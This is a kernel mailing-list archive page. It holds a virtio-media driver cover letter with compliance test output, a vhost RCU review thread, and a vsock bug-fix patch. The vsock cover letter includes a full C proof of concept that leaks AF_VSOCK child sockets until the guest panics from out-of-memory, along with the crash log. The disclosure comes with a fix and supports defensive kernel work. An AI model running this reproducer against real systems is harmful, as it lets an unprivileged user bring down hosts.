	Video Capture: Frame #041 (epoll)
	Video Capture: Frame #042 (epoll)
	Video Capture: Frame #043 (epoll)
	Video Capture: Frame #044 (epoll)
	Video Capture: Frame #045 (epoll)
	Video Capture: Frame #046 (epoll)
	Video Capture: Frame #047 (epoll)
	Video Capture: Frame #048 (epoll)
	Video Capture: Frame #049 (epoll)
	Video Capture: Frame #050 (epoll)
	Video Capture: Frame #051 (epoll)
	Video Capture: Frame #052 (epoll)
	Video Capture: Frame #053 (epoll)
	Video Capture: Frame #054 (epoll)
	Video Capture: Frame #055 (epoll)
	Video Capture: Frame #056 (epoll)
	Video Capture: Frame #057 (epoll)
	Video Capture: Frame #058 (epoll)
	Video Capture: Frame #059 (epoll)

	test MMAP (epoll, REQBUFS): OK

	Video Capture: Frame #000
	Video Capture: Frame #001
	Video Capture: Frame #002
	Video Capture: Frame #003
	Video Capture: Frame #004
	Video Capture: Frame #005
	Video Capture: Frame #006
	Video Capture: Frame #007
	Video Capture: Frame #008
	Video Capture: Frame #009
	Video Capture: Frame #010
	Video Capture: Frame #011
	Video Capture: Frame #012
	Video Capture: Frame #013
	Video Capture: Frame #014
	Video Capture: Frame #015
	Video Capture: Frame #016
	Video Capture: Frame #017
	Video Capture: Frame #018
	Video Capture: Frame #019
	Video Capture: Frame #020
	Video Capture: Frame #021
	Video Capture: Frame #022
	Video Capture: Frame #023
	Video Capture: Frame #024
	Video Capture: Frame #025
	Video Capture: Frame #026
	Video Capture: Frame #027
	Video Capture: Frame #028
	Video Capture: Frame #029
	Video Capture: Frame #030
	Video Capture: Frame #031
	Video Capture: Frame #032
	Video Capture: Frame #033
	Video Capture: Frame #034
	Video Capture: Frame #035
	Video Capture: Frame #036
	Video Capture: Frame #037
	Video Capture: Frame #038
	Video Capture: Frame #039
	Video Capture: Frame #040
	Video Capture: Frame #041
	Video Capture: Frame #042
	Video Capture: Frame #043
	Video Capture: Frame #044
	Video Capture: Frame #045
	Video Capture: Frame #046
	Video Capture: Frame #047
	Video Capture: Frame #048
	Video Capture: Frame #049
	Video Capture: Frame #050
	Video Capture: Frame #051
	Video Capture: Frame #052
	Video Capture: Frame #053
	Video Capture: Frame #054
	Video Capture: Frame #055
	Video Capture: Frame #056
	Video Capture: Frame #057
	Video Capture: Frame #058
	Video Capture: Frame #059

	test MMAP (no poll, CREATE_BUFS): OK

	Video Capture: Frame #000 (select)
	Video Capture: Frame #001 (select)
	Video Capture: Frame #002 (select)
	Video Capture: Frame #003 (select)
	Video Capture: Frame #004 (select)
	Video Capture: Frame #005 (select)
	Video Capture: Frame #006 (select)
	Video Capture: Frame #007 (select)
	Video Capture: Frame #008 (select)
	Video Capture: Frame #009 (select)
	Video Capture: Frame #010 (select)
	Video Capture: Frame #011 (select)
	Video Capture: Frame #012 (select)
	Video Capture: Frame #013 (select)
	Video Capture: Frame #014 (select)
	Video Capture: Frame #015 (select)
	Video Capture: Frame #016 (select)
	Video Capture: Frame #017 (select)
	Video Capture: Frame #018 (select)
	Video Capture: Frame #019 (select)
	Video Capture: Frame #020 (select)
	Video Capture: Frame #021 (select)
	Video Capture: Frame #022 (select)
	Video Capture: Frame #023 (select)
	Video Capture: Frame #024 (select)
	Video Capture: Frame #025 (select)
	Video Capture: Frame #026 (select)
	Video Capture: Frame #027 (select)
	Video Capture: Frame #028 (select)
	Video Capture: Frame #029 (select)
	Video Capture: Frame #030 (select)
	Video Capture: Frame #031 (select)
	Video Capture: Frame #032 (select)
	Video Capture: Frame #033 (select)
	Video Capture: Frame #034 (select)
	Video Capture: Frame #035 (select)
	Video Capture: Frame #036 (select)
	Video Capture: Frame #037 (select)
	Video Capture: Frame #038 (select)
	Video Capture: Frame #039 (select)
	Video Capture: Frame #040 (select)
	Video Capture: Frame #041 (select)
	Video Capture: Frame #042 (select)
	Video Capture: Frame #043 (select)
	Video Capture: Frame #044 (select)
	Video Capture: Frame #045 (select)
	Video Capture: Frame #046 (select)
	Video Capture: Frame #047 (select)
	Video Capture: Frame #048 (select)
	Video Capture: Frame #049 (select)
	Video Capture: Frame #050 (select)
	Video Capture: Frame #051 (select)
	Video Capture: Frame #052 (select)
	Video Capture: Frame #053 (select)
	Video Capture: Frame #054 (select)
	Video Capture: Frame #055 (select)
	Video Capture: Frame #056 (select)
	Video Capture: Frame #057 (select)
	Video Capture: Frame #058 (select)
	Video Capture: Frame #059 (select)

	test MMAP (select, CREATE_BUFS): OK

	Video Capture: Frame #000 (epoll)
	Video Capture: Frame #001 (epoll)
	Video Capture: Frame #002 (epoll)
	Video Capture: Frame #003 (epoll)
	Video Capture: Frame #004 (epoll)
	Video Capture: Frame #005 (epoll)
	Video Capture: Frame #006 (epoll)
	Video Capture: Frame #007 (epoll)
	Video Capture: Frame #008 (epoll)
	Video Capture: Frame #009 (epoll)
	Video Capture: Frame #010 (epoll)
	Video Capture: Frame #011 (epoll)
	Video Capture: Frame #012 (epoll)
	Video Capture: Frame #013 (epoll)
	Video Capture: Frame #014 (epoll)
	Video Capture: Frame #015 (epoll)
	Video Capture: Frame #016 (epoll)
	Video Capture: Frame #017 (epoll)
	Video Capture: Frame #018 (epoll)
	Video Capture: Frame #019 (epoll)
	Video Capture: Frame #020 (epoll)
	Video Capture: Frame #021 (epoll)
	Video Capture: Frame #022 (epoll)
	Video Capture: Frame #023 (epoll)
	Video Capture: Frame #024 (epoll)
	Video Capture: Frame #025 (epoll)
	Video Capture: Frame #026 (epoll)
	Video Capture: Frame #027 (epoll)
	Video Capture: Frame #028 (epoll)
	Video Capture: Frame #029 (epoll)
	Video Capture: Frame #030 (epoll)
	Video Capture: Frame #031 (epoll)
	Video Capture: Frame #032 (epoll)
	Video Capture: Frame #033 (epoll)
	Video Capture: Frame #034 (epoll)
	Video Capture: Frame #035 (epoll)
	Video Capture: Frame #036 (epoll)
	Video Capture: Frame #037 (epoll)
	Video Capture: Frame #038 (epoll)
	Video Capture: Frame #039 (epoll)
	Video Capture: Frame #040 (epoll)
	Video Capture: Frame #041 (epoll)
	Video Capture: Frame #042 (epoll)
	Video Capture: Frame #043 (epoll)
	Video Capture: Frame #044 (epoll)
	Video Capture: Frame #045 (epoll)
	Video Capture: Frame #046 (epoll)
	Video Capture: Frame #047 (epoll)
	Video Capture: Frame #048 (epoll)
	Video Capture: Frame #049 (epoll)
	Video Capture: Frame #050 (epoll)
	Video Capture: Frame #051 (epoll)
	Video Capture: Frame #052 (epoll)
	Video Capture: Frame #053 (epoll)
	Video Capture: Frame #054 (epoll)
	Video Capture: Frame #055 (epoll)
	Video Capture: Frame #056 (epoll)
	Video Capture: Frame #057 (epoll)
	Video Capture: Frame #058 (epoll)
	Video Capture: Frame #059 (epoll)

	test MMAP (epoll, CREATE_BUFS): OK
	test USERPTR (no poll): OK (Not Supported)
	test USERPTR (select): OK (Not Supported)
	test DMABUF (no poll): OK (Not Supported)
	test DMABUF (select): OK (Not Supported)

Total for uvcvideo device /dev/video0: 59, Succeeded: 58, Failed: 1, Warnings: 0

---
Changes in v5:
- Add DMA buffer alignment and padding for commands, responses, and the event
  buffer
- Corrected styling of kernel-doc comments
- Removed the configurable ``driver_name`` module parameter
- Moved the protocol to ``include/uapi/linux/virtio_media.h``
- Link to v4: https://lore.kernel.org/all/20260622204343.1994418-1-briandaniels@google.com/

Changes in v4:
- Rebased on top of v7.1-rc1
- Replace usages of filep->private_data with file_to_v4l2_fh()
  throughout the driver
- Link to v3: https://lore.kernel.org/r/20250412-virtio-media-v3-1-97dc94c18398@gmail.com

Changes in v3:
- Rebased on top of v6.15-rc1 and removes obsolete control callbacks.
- Link to v2: https://lore.kernel.org/r/20250201-virtio-media-v2-1-ac840681452d@gmail.com

Changes in v2:
- Fixed kernel test robot and media CI warnings (ignored a few false
  positives).
- Changed in-driver email address to personal one since my Google one
  will soon become invalid.
- Link to v1: https://lore.kernel.org/r/20250123-virtio-media-v1-1-81e2549b86b9@gmail.com

Brian Daniels (5):
  media: virtio: Add skeleton virtio-media driver
  media: virtio: Add session management
  media: virtio: Add scatterlist builder
  media: virtio: Add ioctl operations and driver logic
  media: virtio: Add USERPTR memory type support

 MAINTAINERS                                |    8 +
 drivers/media/Kconfig                      |   13 +
 drivers/media/Makefile                     |    2 +
 drivers/media/virtio/Makefile              |    7 +
 drivers/media/virtio/scatterlist_builder.c |  579 +++++++++
 drivers/media/virtio/scatterlist_builder.h |  112 ++
 drivers/media/virtio/session.h             |  132 ++
 drivers/media/virtio/virtio_media.h        |   97 ++
 drivers/media/virtio/virtio_media_driver.c |  951 ++++++++++++++
 drivers/media/virtio/virtio_media_ioctls.c | 1326 ++++++++++++++++++++
 include/uapi/linux/virtio_media.h          |  287 +++++
 11 files changed, 3514 insertions(+)
 create mode 100644 drivers/media/virtio/Makefile
 create mode 100644 drivers/media/virtio/scatterlist_builder.c
 create mode 100644 drivers/media/virtio/scatterlist_builder.h
 create mode 100644 drivers/media/virtio/session.h
 create mode 100644 drivers/media/virtio/virtio_media.h
 create mode 100644 drivers/media/virtio/virtio_media_driver.c
 create mode 100644 drivers/media/virtio/virtio_media_ioctls.c
 create mode 100644 include/uapi/linux/virtio_media.h


base-commit: 06cb687a5132fcffe624c0070576ab852ac6b568
-- 
2.55.0.229.g6434b31f56-goog


^ permalink raw reply

* [PATCH net 1/1] vsock: clear stale sk_err before listen()
From: Ren Wei @ 2026-07-23 17:21 UTC (permalink / raw)
  To: virtualization, netdev
  Cc: sgarzare, davem, edumazet, pabeni, horms, dtor, georgezhang,
	acking, vega, zihanx, enjou1224z
In-Reply-To: <cover.1784649300.git.zihanx@nebusec.ai>

From: Zihan Xi <zihanx@nebusec.ai>

A failed loopback connect() can leave sk_err set on a reusable
AF_VSOCK socket. If userspace then calls listen() on the same socket,
the stale error remains attached to the listener. When a later child
reaches vsock_accept(), the accept path sees listener->sk_err,
rejects the child, and drops only the transient accept reference.

On virtio-based loopback this can leave the rejected child orphaned in
the vsock tables, so repeated iterations leak children and can
ultimately drive the guest into OOM.

Clear sk_err when a socket is transitioned into TCP_LISTEN so an
earlier failed connect() does not poison a new listening socket.

Fixes: d021c344051a ("VSOCK: Introduce VM Sockets")
Cc: stable@vger.kernel.org
Reported-by: Vega <vega@nebusec.ai>
Assisted-by: Codex:gpt-5.4
Signed-off-by: Zihan Xi <zihanx@nebusec.ai>
Signed-off-by: Ren Wei <enjou1224z@gmail.com>
---
 net/vmw_vsock/af_vsock.c | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/net/vmw_vsock/af_vsock.c b/net/vmw_vsock/af_vsock.c
index a06f708f3..3482ba594 100644
--- a/net/vmw_vsock/af_vsock.c
+++ b/net/vmw_vsock/af_vsock.c
@@ -1729,6 +1729,10 @@ static int vsock_listen(struct socket *sock, int backlog)
 		goto out;
 	}
 
+	/* sk_err might have been set as a result of an earlier
+	 * (failed) connect attempt.
+	 */
+	sk->sk_err = 0;
 	sk->sk_max_ack_backlog = backlog;
 	sk->sk_state = TCP_LISTEN;
 
-- 
2.43.0

^ permalink raw reply related

* [PATCH net 0/1] vsock: clear stale sk_err before listen()
From: Ren Wei @ 2026-07-23 17:21 UTC (permalink / raw)
  To: virtualization, netdev
  Cc: sgarzare, davem, edumazet, pabeni, horms, dtor, georgezhang,
	acking, vega, zihanx, enjou1224z

From: Zihan Xi <zihanx@nebusec.ai>

Hi Linux kernel maintainers,

We found and validated an issue in net/vmw_vsock/af_vsock.c. The bug is
reachable by an unprivileged local user via AF_VSOCK loopback. We've
tested it, and it should not affect any other functionality.

This series contains one patch:
  1/1 vsock: clear stale sk_err before listen()

We provide bug details, reproducer steps, and a crash log below.

---- details below ----

Bug details:

A failed loopback connect() can leave sk_err set on a reusable AF_VSOCK
socket. If userspace then calls listen() on the same socket, the stale
error remains attached to the listener. A later child can still reach the
accept queue, but vsock_accept() sees listener->sk_err, rejects the
child, and drops only the transient accept reference.

On the virtio loopback path that rejected child can remain orphaned in the
vsock tables, so repeated iterations leak children and can eventually
push the guest into OOM. Clearing sk_err in vsock_listen() prevents a
failed connect() attempt from poisoning the next listener incarnation of
that socket.

On our fixed-kernel validation, the same minimal reproducer no longer hit
that failed accept path and accept() returned a valid child socket.

Reproducer:

    cc -O2 -Wall -Wextra -pthread -o /root/poc /root/poc.c
    echo 2 > /proc/sys/vm/panic_on_oom
    echo 1 > /proc/sys/vm/oom_dump_tasks
    /root/poc 100 44000 54000 33554432 33554432 600

We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.

------BEGIN poc.c------

#define _GNU_SOURCE

#include <arpa/inet.h>
#include <errno.h>
#include <linux/vm_sockets.h>
#include <pthread.h>
#include <signal.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <sys/types.h>
#include <time.h>
#include <unistd.h>

#define DEFAULT_BASE_PORT 40000U
#define DEFAULT_FAIL_PORT 50000U
#define DEFAULT_BUFFER_SIZE (32ULL * 1024 * 1024)
#define DEFAULT_SEND_BYTES (32ULL * 1024 * 1024)
#define DEFAULT_ITERATIONS 1U

struct client_ctx {
	pthread_mutex_t lock;
	pthread_cond_t cond;
	unsigned int server_port;
	unsigned int client_port;
	unsigned long long send_bytes;
	unsigned long long bytes_sent;
	int connect_errno;
	int send_errno;
	int sent_any;
	int connected;
	int done;
	int fd;
};

static void die(const char *msg)
{
	perror(msg);
	exit(EXIT_FAILURE);
}

static void set_vsock_u64(int fd, int optname, unsigned long long val)
{
	if (setsockopt(fd, AF_VSOCK, optname, &val, sizeof(val)) < 0)
		die("setsockopt(AF_VSOCK)");
}

static void set_connect_timeout(int fd, long sec)
{
	struct timeval tv = {
		.tv_sec = sec,
		.tv_usec = 0,
	};

	if (setsockopt(fd, AF_VSOCK, SO_VM_SOCKETS_CONNECT_TIMEOUT,
		       &tv, sizeof(tv)) < 0) {
		die("setsockopt(SO_VM_SOCKETS_CONNECT_TIMEOUT)");
	}
}

static void bind_vsock(int fd, unsigned int cid, unsigned int port)
{
	struct sockaddr_vm svm = {
		.svm_family = AF_VSOCK,
		.svm_cid = cid,
		.svm_port = port,
	};

	if (bind(fd, (struct sockaddr *)&svm, sizeof(svm)) < 0)
		die("bind(AF_VSOCK)");
}

static int connect_vsock_errno(int fd, unsigned int cid, unsigned int port)
{
	struct sockaddr_vm svm = {
		.svm_family = AF_VSOCK,
		.svm_cid = cid,
		.svm_port = port,
	};

	if (connect(fd, (struct sockaddr *)&svm, sizeof(svm)) == 0)
		return 0;

	return errno;
}

static void *client_thread(void *arg)
{
	struct client_ctx *ctx = arg;
	char *buf;
	unsigned long long sent = 0;
	const size_t chunk = 64 * 1024;
	int fd;
	int err;

	fd = socket(AF_VSOCK, SOCK_STREAM, 0);
	if (fd < 0)
		die("client socket(AF_VSOCK)");

	set_vsock_u64(fd, SO_VM_SOCKETS_BUFFER_MAX_SIZE, ctx->send_bytes);
	set_vsock_u64(fd, SO_VM_SOCKETS_BUFFER_SIZE, ctx->send_bytes);
	bind_vsock(fd, VMADDR_CID_LOCAL, ctx->client_port);

	err = connect_vsock_errno(fd, VMADDR_CID_LOCAL, ctx->server_port);

	pthread_mutex_lock(&ctx->lock);
	ctx->fd = fd;
	ctx->connect_errno = err;
	ctx->connected = (err == 0);
	pthread_cond_broadcast(&ctx->cond);
	pthread_mutex_unlock(&ctx->lock);

	if (err)
		return NULL;

	buf = malloc(chunk);
	if (!buf)
		die("malloc");
	memset(buf, 'A', chunk);

	while (sent < ctx->send_bytes) {
		size_t todo = chunk;
		ssize_t rc;

		if (ctx->send_bytes - sent < todo)
			todo = ctx->send_bytes - sent;

		rc = send(fd, buf, todo, 0);
		if (rc < 0) {
			pthread_mutex_lock(&ctx->lock);
			ctx->send_errno = errno;
			pthread_mutex_unlock(&ctx->lock);
			break;
		}

		if (rc == 0)
			break;

		sent += rc;
		pthread_mutex_lock(&ctx->lock);
		ctx->sent_any = 1;
		ctx->bytes_sent = sent;
		pthread_cond_broadcast(&ctx->cond);
		pthread_mutex_unlock(&ctx->lock);
	}

	free(buf);

	pthread_mutex_lock(&ctx->lock);
	ctx->done = 1;
	pthread_cond_broadcast(&ctx->cond);
	pthread_mutex_unlock(&ctx->lock);

	return NULL;
}

static void client_ctx_init(struct client_ctx *ctx, unsigned int server_port,
			    unsigned int client_port,
			    unsigned long long send_bytes)
{
	memset(ctx, 0, sizeof(*ctx));
	pthread_mutex_init(&ctx->lock, NULL);
	pthread_cond_init(&ctx->cond, NULL);
	ctx->server_port = server_port;
	ctx->client_port = client_port;
	ctx->send_bytes = send_bytes;
	ctx->fd = -1;
}

static void client_ctx_destroy(struct client_ctx *ctx)
{
	pthread_mutex_destroy(&ctx->lock);
	pthread_cond_destroy(&ctx->cond);
}

static int wait_for_connect(struct client_ctx *ctx)
{
	int err;

	pthread_mutex_lock(&ctx->lock);
	while (!ctx->connected && ctx->connect_errno == 0)
		pthread_cond_wait(&ctx->cond, &ctx->lock);
	err = ctx->connect_errno;
	pthread_mutex_unlock(&ctx->lock);

	return err;
}

static void wait_for_send_progress(struct client_ctx *ctx)
{
	struct timespec ts;

	clock_gettime(CLOCK_REALTIME, &ts);
	ts.tv_sec += 2;
	if (ts.tv_nsec >= 1000000000L) {
		ts.tv_sec += 1;
		ts.tv_nsec -= 1000000000L;
	}

	pthread_mutex_lock(&ctx->lock);
	if (!ctx->done)
		pthread_cond_timedwait(&ctx->cond, &ctx->lock, &ts);
	pthread_mutex_unlock(&ctx->lock);
}

static int prepare_listener(unsigned int server_port, unsigned int fail_port,
			    unsigned long long buffer_size)
{
	int fd;
	int err;

	fd = socket(AF_VSOCK, SOCK_STREAM, 0);
	if (fd < 0)
		die("listener socket(AF_VSOCK)");

	set_connect_timeout(fd, 1);
	set_vsock_u64(fd, SO_VM_SOCKETS_BUFFER_MAX_SIZE, buffer_size);
	set_vsock_u64(fd, SO_VM_SOCKETS_BUFFER_SIZE, buffer_size);
	bind_vsock(fd, VMADDR_CID_LOCAL, server_port);

	err = connect_vsock_errno(fd, VMADDR_CID_LOCAL, fail_port);
	if (err == 0) {
		fprintf(stderr, "unexpected successful failed-connect setup on port %u\n",
			fail_port);
		exit(EXIT_FAILURE);
	}

	fprintf(stderr, "[*] setup connect() failed with errno=%d (%s)\n",
		err, strerror(err));

	if (listen(fd, 1) < 0)
		die("listen(AF_VSOCK)");

	return fd;
}

static int trigger_once(unsigned int server_port, unsigned int fail_port,
			unsigned int client_port,
			unsigned long long buffer_size,
			unsigned long long send_bytes)
{
	struct client_ctx ctx;
	pthread_t tid;
	int listener_fd;
	int accept_fd;
	int accept_errno;

	listener_fd = prepare_listener(server_port, fail_port, buffer_size);

	client_ctx_init(&ctx, server_port, client_port, send_bytes);
	if (pthread_create(&tid, NULL, client_thread, &ctx) != 0)
		die("pthread_create");

	if (wait_for_connect(&ctx) != 0) {
		fprintf(stderr, "client connect failed with errno=%d (%s)\n",
			ctx.connect_errno, strerror(ctx.connect_errno));
		exit(EXIT_FAILURE);
	}

	wait_for_send_progress(&ctx);

	accept_fd = accept(listener_fd, NULL, NULL);
	accept_errno = errno;

	fprintf(stderr, "[*] accept() returned fd=%d errno=%d (%s)\n",
		accept_fd, accept_errno, strerror(accept_errno));

	if (accept_fd >= 0) {
		fprintf(stderr, "unexpected successful accept()\n");
		exit(EXIT_FAILURE);
	}

	if (accept_errno != ECONNRESET) {
		fprintf(stderr, "unexpected accept errno: %d (%s)\n",
			accept_errno, strerror(accept_errno));
		exit(EXIT_FAILURE);
	}

	close(listener_fd);

	pthread_join(tid, NULL);

	fprintf(stderr,
		"[*] client connect errno=%d send errno=%d bytes_sent=%llu sent_any=%d done=%d\n",
		ctx.connect_errno, ctx.send_errno, ctx.bytes_sent,
		ctx.sent_any, ctx.done);
	accept_fd = ctx.fd;
	ctx.fd = -1;
	client_ctx_destroy(&ctx);
	return accept_fd;
}

static unsigned int parse_u32(const char *s)
{
	unsigned long long v = strtoull(s, NULL, 0);

	if (v > UINT32_MAX) {
		fprintf(stderr, "value too large: %s\n", s);
		exit(EXIT_FAILURE);
	}

	return (unsigned int)v;
}

static unsigned long long parse_u64(const char *s)
{
	return strtoull(s, NULL, 0);
}

int main(int argc, char **argv)
{
	unsigned int iterations = DEFAULT_ITERATIONS;
	unsigned int base_port = DEFAULT_BASE_PORT;
	unsigned int fail_base = DEFAULT_FAIL_PORT;
	unsigned long long buffer_size = DEFAULT_BUFFER_SIZE;
	unsigned long long send_bytes = DEFAULT_SEND_BYTES;
	unsigned int hold_seconds = 0;
	int *held_fds;
	unsigned int i;

	signal(SIGPIPE, SIG_IGN);

	if (argc > 1)
		iterations = parse_u32(argv[1]);
	if (argc > 2)
		base_port = parse_u32(argv[2]);
	if (argc > 3)
		fail_base = parse_u32(argv[3]);
	if (argc > 4)
		buffer_size = parse_u64(argv[4]);
	if (argc > 5)
		send_bytes = parse_u64(argv[5]);
	if (argc > 6)
		hold_seconds = parse_u32(argv[6]);

	held_fds = calloc(iterations, sizeof(*held_fds));
	if (!held_fds)
		die("calloc");

	for (i = 0; i < iterations; i++)
		held_fds[i] = -1;

	fprintf(stderr,
		"[*] iterations=%u base_port=%u fail_base=%u buffer_size=%llu send_bytes=%llu hold_seconds=%u\n",
		iterations, base_port, fail_base, buffer_size, send_bytes,
		hold_seconds);

	for (i = 0; i < iterations; i++) {
		unsigned int server_port = base_port + (i * 2);
		unsigned int client_port = base_port + (i * 2) + 1;
		unsigned int fail_port = fail_base + i;

		fprintf(stderr,
			"[*] iteration=%u server_port=%u client_port=%u fail_port=%u\n",
			i, server_port, client_port, fail_port);
		held_fds[i] = trigger_once(server_port, fail_port, client_port,
					   buffer_size, send_bytes);
		fprintf(stderr, "[*] holding client fd=%d\n", held_fds[i]);
	}

	if (hold_seconds) {
		fprintf(stderr, "[*] sleeping for %u seconds with client sockets open\n",
			hold_seconds);
		sleep(hold_seconds);
	}

	for (i = 0; i < iterations; i++) {
		if (held_fds[i] >= 0)
			close(held_fds[i]);
	}

	free(held_fds);

	return 0;
}

------END poc.c--------

----BEGIN crash log----

[  921.941962][T10458] Kernel panic - not syncing: Out of memory: compulsory panic_on_oom is enabled
[  921.942839][T10458] CPU: 0 UID: 0 PID: 10458 Comm: poc Not tainted 6.12.74 #3
[  921.943455][T10458] Hardware name: QEMU Ubuntu 24.04 PC (i440FX + PIIX, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[  921.944405][T10458] Call Trace:
[  921.944701][T10458]  <TASK>
[  921.944974][T10458]  dump_stack_lvl+0x3b/0x1f0
[  921.945423][T10458]  panic+0x6fe/0x7e0
[  921.945802][T10458]  ? dump_header+0x6c2/0x950
[  921.946233][T10458]  ? __pfx_panic+0x10/0x10
[  921.947686][T10458]  ? out_of_memory+0x8c5/0x16b0
[  921.948137][T10458]  out_of_memory+0x8f3/0x16b0
[  921.949926][T10458]  __alloc_pages_noprof+0x1ec3/0x26d0
[  921.954378][T10458]  alloc_pages_mpol_noprof+0x2ce/0x610
[  921.956796][T10458]  folio_alloc_noprof+0x23/0xd0
[  921.957720][T10458]  filemap_alloc_folio_noprof+0x35d/0x420
[  921.959719][T10458]  filemap_fault+0x675/0x2800
[  921.962920][T10458]  do_pte_missing+0x174c/0x3ff0
[  921.964830][T10458]  __handle_mm_fault+0xfa3/0x2a10
[  921.967730][T10458]  handle_mm_fault+0x3f5/0xa00
[  921.968200][T10458]  do_user_addr_fault+0x50a/0x1490
[  921.968691][T10458]  exc_page_fault+0x5d/0xe0
[  921.969113][T10458]  asm_exc_page_fault+0x26/0x30
[  921.969561][T10458] RIP: 0033:0x7f47a09b2237
[  921.969990][T10458] Code: Unable to access opcode bytes at 0x7f47a09b220d.
[  921.970550][T10458] RSP: 002b:00007f47a089be60 EFLAGS: 00010202
[  921.971073][T10458] RAX: 0000000000010000 RBX: 00007ffe78934c80 RCX: 00007f47a0942c8e
[  921.972372][T10458] RDX: 000000000000002c RSI: 0000000000000000 RDI: 0000000000000016
[  921.973017][T10458] RBP: 0000000001800000 R08: 0000000000000000 R09: 0000000000000000
[  921.974428][T10458]  </TASK>
[  921.974959][T10458] Kernel Offset: disabled
[  921.975445][T10458] Rebooting in 86400 seconds..

-----END crash log-----

Best regards,
Zihan Xi

Zihan Xi (1):
  vsock: clear stale sk_err before listen()

 net/vmw_vsock/af_vsock.c | 4 ++++
 1 file changed, 4 insertions(+)

-- 
2.43.0

^ permalink raw reply

* Re: [PATCH v5 4/5] vhost: synchronize with RCU readers when freeing workers
From: Andrey Drobyshev @ 2026-07-23 17:17 UTC (permalink / raw)
  To: Michael S. Tsirkin
  Cc: linux-kernel, kvm, virtualization, netdev, sgarzare, stefanha,
	dongli.zhang, maciej.szmigiero, bchaney, mark.kanda, ptikhomirov,
	den
In-Reply-To: <20260723124908-mutt-send-email-mst@kernel.org>

On 7/23/26 7:50 PM, Michael S. Tsirkin wrote:
> On Thu, Jul 23, 2026 at 07:46:58PM +0300, Andrey Drobyshev wrote:
>> On 7/23/26 6:18 PM, Michael S. Tsirkin wrote:
>>> On Mon, Jul 20, 2026 at 01:22:40PM +0300, Andrey Drobyshev wrote:
>>>> vhost_vq_work_queue() only holds the RCU read lock while it dereferences
>>>> vq->worker and queues work on it.  vhost_workers_free() however clears
>>>> the vq->worker pointers and immediately frees the workers, without
>>>> waiting for a grace period.  A caller that fetched the worker right
>>>> before the pointer was cleared can therefore still be queueing work on
>>>> it while it is freed.  And even when the queueing itself wins the race,
>>>> the work is never run, so its VHOST_WORK_QUEUED bit stays set and all
>>>> future attempts to queue it are silently skipped.
>>>>
>>>> None of the current callers can actually hit this: net and scsi stop
>>>> their virtqueues before the workers are freed, and vsock unhashes the
>>>> device and does synchronize_rcu() of its own in vhost_vsock_dev_release()
>>>> before the workers go away.  But the upcoming VHOST_RESET_OWNER support
>>>> in vhost-vsock keeps the device hashed while its workers are freed, so
>>>> the lockless send/cancel paths become able to race with the teardown.
>>>>
>>>> Fix this by clearing the vq->worker pointers, waiting for a grace
>>>> period, and then flushing the workers so any work the last readers
>>>> queued runs before the workers are freed.
>>>
>>>
>>>
>>>
>>>> Fixes: 228a27cf78af ("vhost: Allow worker switching while work is queueing")
>>>> Suggested-by: Stefano Garzarella <sgarzare@redhat.com>
>>>> Signed-off-by: Andrey Drobyshev <andrey.drobyshev@virtuozzo.com>
>>>> ---
>>>>  drivers/vhost/vhost.c | 11 +++++++++++
>>>>  1 file changed, 11 insertions(+)
>>>>
>>>> diff --git a/drivers/vhost/vhost.c b/drivers/vhost/vhost.c
>>>> index 4c525b3e16ea..d6e235c25254 100644
>>>> --- a/drivers/vhost/vhost.c
>>>> +++ b/drivers/vhost/vhost.c
>>>> @@ -729,6 +729,17 @@ static void vhost_workers_free(struct vhost_dev *dev)
>>>>  
>>>>  	for (i = 0; i < dev->nvqs; i++)
>>>>  		rcu_assign_pointer(dev->vqs[i]->worker, NULL);
>>>> +
>>>> +	/*
>>>> +	 * vhost_vq_work_queue() reads vq->worker under rcu_read_lock(), so a
>>>> +	 * reader that fetched a worker before we cleared the pointers above
>>>> +	 * may still be queueing work on it.  Wait for those readers to
>>>> +	 * finish, then flush so any work they queued runs (clearing
>>>> +	 * VHOST_WORK_QUEUED) before the workers are freed.
>>>> +	 */
>>>> +	synchronize_rcu();
>>>
>>>
>>>
>>> Any way not to add this for all devices that don't need it?
>>> Or preferably, even for vsock in absense of the new ioctl?
>>>
>>
>> This code was initially local to vsock, and was moved here in v3->v4
>> after we discussed with Stefano that the issue looks more generic and
>> should probably be fixed in vhost.c (see
>> https://lore.kernel.org/virtualization/akO6tps94iFxCAWv@sgarzare-redhat).
>>
>> As a compromise, we can keep this code here, but only call it
>> conditionally.  Namely, create a bool flag on 'struct vhost_dev' which
>> is always false, only set it to true on RESET_OWNER, and only call this
>> code once it's set.  Clumsy, but this way no other code path would have
>> to wait the full grace period.
>>
>> What are your thoughts on that?
>>
>> Thanks,
>> Andrey
> 
> Or just thread a bool parameter to it?
>

Yep, that should work as well.  So we'll have to do:

vhost_dev_cleanup(struct vhost_dev *dev, bool sync)
  vhost_workers_free(struct vhost_dev *dev, bool sync)
    if (sync) {
      synchronize_rcu();
      vhost_dev_flush(dev);
    }

And then vhost_dev_reset_owner() will call vhost_dev_cleanup() with
sync=true, while everybody else (net_release, scsi_release, even
vhost_vsock_dev_release) will call it with sync=false.

I'll squash it all into the same 4th commit and resend, unless you have
any objections.

Thanks,
Andrey


>>>
>>>> +	vhost_dev_flush(dev);
>>>> +
>>>>  	/*
>>>>  	 * Free the default worker we created and cleanup workers userspace
>>>>  	 * created but couldn't clean up (it forgot or crashed).
>>>> -- 
>>>> 2.47.1
>>>
> 


^ permalink raw reply


This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox